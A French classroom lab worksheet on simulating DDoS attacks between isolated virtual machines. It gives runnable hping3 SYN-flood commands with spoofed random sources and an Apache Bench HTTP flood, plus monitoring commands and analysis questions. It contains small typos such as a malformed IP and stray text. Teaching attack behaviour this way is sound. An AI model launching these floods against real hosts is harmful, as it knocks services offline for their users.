TP — Simulation d'attaques DDoS

Ce TP doit être réalisé UNIQUEMENT sur des machines virtuelles en réseau isolé (host-only ou réseau interne). Toute attaque sur un système sans autorisation explicite est illégale.

1. Architecture du laboratoire

1.1 Schéma réseau

Machine	Rôle	OS suggéré	IP (exemple)
VM Attaquant :	Lance les attaques et surveille le réseau	Kali Linux 2025-2	192.168.170.1 en mode bridged
VM Cible	Héberge le serveur web	Debian 12	192.168.170.4

1.2 Mise en place du réseau isolé

Dans VMware : Utiliser le mode « Host-Only »

Modifier la configuration de la Debian 12 cd :

a) Taille mémoire à 512 Mo

b) Modification de la configuration d'Apache 2 pour diminuer ses capacités de réponse dans le cadre du TP
sudo nano /etc/apache2/mods-available/mpm_prefork.conf
Modifier le paramétre « MaxRequestWorkers » en le mettant à 1 : **MaxRequestWorkers 1**
Relancer apache et tester si la configuration est OK
sudo systemctl restart apache2
sudo apache2ctl configtest

ℹ️Vérifier la connectivité : depuis Kali, faire un ping 192.168.170.4 avant de commencer.

Vérifier depuis Kali que le site répond :

```
curl -I http://192.168.170.4/
```

Réponse attendue : HTTP/1.1 200 OK PIPI
ou dans un navigateur tester l'URL http://192..180.170.4

2 Scénario combiné : montée en charge + DDoS

2.1 Objectif

Simuler un scénario réaliste : le serveur est d'abord soumis à une charge HTTP croissante (flood applicatif), puis frappé simultanément par un SYN Flood (couche réseau). L'objectif est d'observer si le site web répond encore.

2.2 Montée en charge avec Apache Bench

Apache Bench envoie un nombre défini de requêtes HTTP avec un niveau de concurrence paramétrable. Il mesure le temps de réponse, le débit et le nombre d'erreurs.

Paramètre	Description	Exemple
-n	Nombre total de requêtes	-n 10000
-c	Nombre de requêtes simultanées (concurrence)	-c 100
-t	Durée du test en secondes	-t 1800 (= 30 min)

Exemple de sortie annotée à analyser :

Métrique ab	Signification	Signe de problème
Failed requests	Requêtes ayant échoué (erreurs 5xx)	> 0 : saturation
Requests per second	Débit du serveur	Chute progressive
Time per request	Temps de réponse moyen (ms)	> 500ms : dégradation
50% / 99% percentile	Distribution des temps de réponse	Écart 50%/99% élevé
Max time	Requête la plus lente	Très élevé = timeouts

2.3 Attaque SYN Flood avec hping3

Commande de base — SYN Flood

```
hping3 -S --flood -V -p 80 192.168.170.4
```

Option	Signification
-S	Envoyer des paquets avec le flag SYN activé
--flood	Envoyer le plus vite possible (sans délai)
–-rand-source	Usurpe des adresses IP sources aléatoires, simulant un botnet distribué
-p 80	Port de destination (HTTP)

SYN Flood avec IP source aléatoire (simulation botnet)

```
hping3 -S --flood --rand-source -p 80 192.168.170.4
```

2.4 Déroulement du scénario

Phase	Durée	Action	Terminal
0 — Référence	2 min	Surveiller le serveur au repos (connecté en root) **Faire une copie d'écran**	Cible : watch ss
1 — Test disponibilité	En continu	curl en boucle (voir section 2.5)	Kali T1
2 — Charge HTTP	5 min	sudo ab -t 900 -c 1000 -n 10000000 http://192.168.170.4/	Kali T2
3 — SYN Flood	5 min	sudo hping3 -S --flood --rand-source -p 80 192.168.170.4	Kali T3 (pendant phase 2)
4 — Arrêt attaques	-	Ctrl+C sur hping3 et ab	Kali T2 et T3
5 — Récupération	2 min	Observer le retour à la normale (connecté en root)	Cible : watch ss

Pour stopper sur le terminal chacune de ces commandes, il faut saisir « Ctrl + C ».

2.5 Commandes détaillées par terminal

Cible — Terminal 1 : surveillance globale

```
watch -n 1 'ss an state synrecv'
```

Kali — Terminal 1 : vérification disponibilité en continu

```
while true; do curl -s -o /dev/null -w "%{http_code} - %{time_total}
s\n" http://192.168.170.4/; sleep 3; done
```

Kali — Terminal 2 : flood HTTP avec ab

```
ab -t 900 -c 1000 -n 10000000 http://192.168.170.4/
```

Kali — Terminal 3 : SYN Flood avec hping3 (lancer après T1)

```
hping3 -S --flood --rand-source -p 80 192.168.170.4
```

watch -n 1 'ss -an state syn-recv'

2.6 Questions d'analyse

1. Le site répond-il encore lors de la phase 1 uniquement (charge HTTP) ? Quel est le temps de réponse ?

Réponse : .....
.....

2. Que se passe-t-il quand le SYN Flood est ajouté (phase 2) ? Justifier.

Réponse : .....
.....

3. Combien de connexions en état SYN_RECV observe-t-on au pic de l'attaque ?

Réponse : .....

4. Après l'arrêt des attaques (phase 5), combien de temps le serveur met-il à récupérer ?

Réponse : .....

Ce qu'il serait possible de voir si l'ensemble de la classe attaquait le même serveur :
14:32:01 → HTTP 200 | Temps: 0.045s ← Serveur OK
14:32:03 → HTTP 200 | Temps: 0.312s ← Début de dégradation
14:32:05 → HTTP 503 | Temps: 100.840s ← Serveur saturé
14:32:07 → HTTP 000 | Temps: 300.000s ← Timeout complet